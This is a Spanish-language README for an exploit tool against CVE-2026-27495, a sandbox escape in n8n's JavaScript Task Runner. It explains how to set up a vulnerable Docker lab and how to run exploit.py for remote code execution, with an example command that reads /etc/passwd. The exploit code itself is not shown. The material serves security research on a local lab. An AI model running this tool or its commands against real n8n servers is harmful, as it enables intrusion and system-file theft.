CVE-2026-27495 — Escape de sandbox en el Task Runner de JS de n8n

Escape de sandbox en el Task Runner de JavaScript de n8n mediante una fuga de objetos del host-realm.

Inicio rápido

1. Desplegar laboratorio vulnerable

docker compose up -d

Espera ~15s a que n8n se inicie, luego abre http://localhost:5678 y crea una cuenta de propietario (correo: [email protected], contraseña: TestPassword123!).

2. Instalar dependencias

pip install requests

3. Explotación

Probar el escape de sandbox :

python3 exploit.py --probe

RCE — descomenta NODE_FUNCTION_ALLOW_BUILTIN=* en docker-compose.yml y reinicia:

docker compose down && docker compose up -d
python3 exploit.py --cmd "id && cat /etc/passwd"

Configuración inicial (crea la cuenta de propietario automáticamente):

python3 exploit.py --setup --probe

Uso

Options:
  --url URL            n8n base URL (default: http://localhost:5678)
  --email EMAIL        Login email (default: [email protected])
  --password PASSWORD  Login password
  --cmd CMD            OS command to execute (RCE)
  --setup              Create owner account (fresh instance)
  --probe              Probe sandbox escape only (no RCE, works with any config)
  --proxy PROXY        HTTP proxy (e.g. http://127.0.0.1:8080)

Descargo de responsabilidad

Solo para investigación de seguridad autorizada y fines educativos.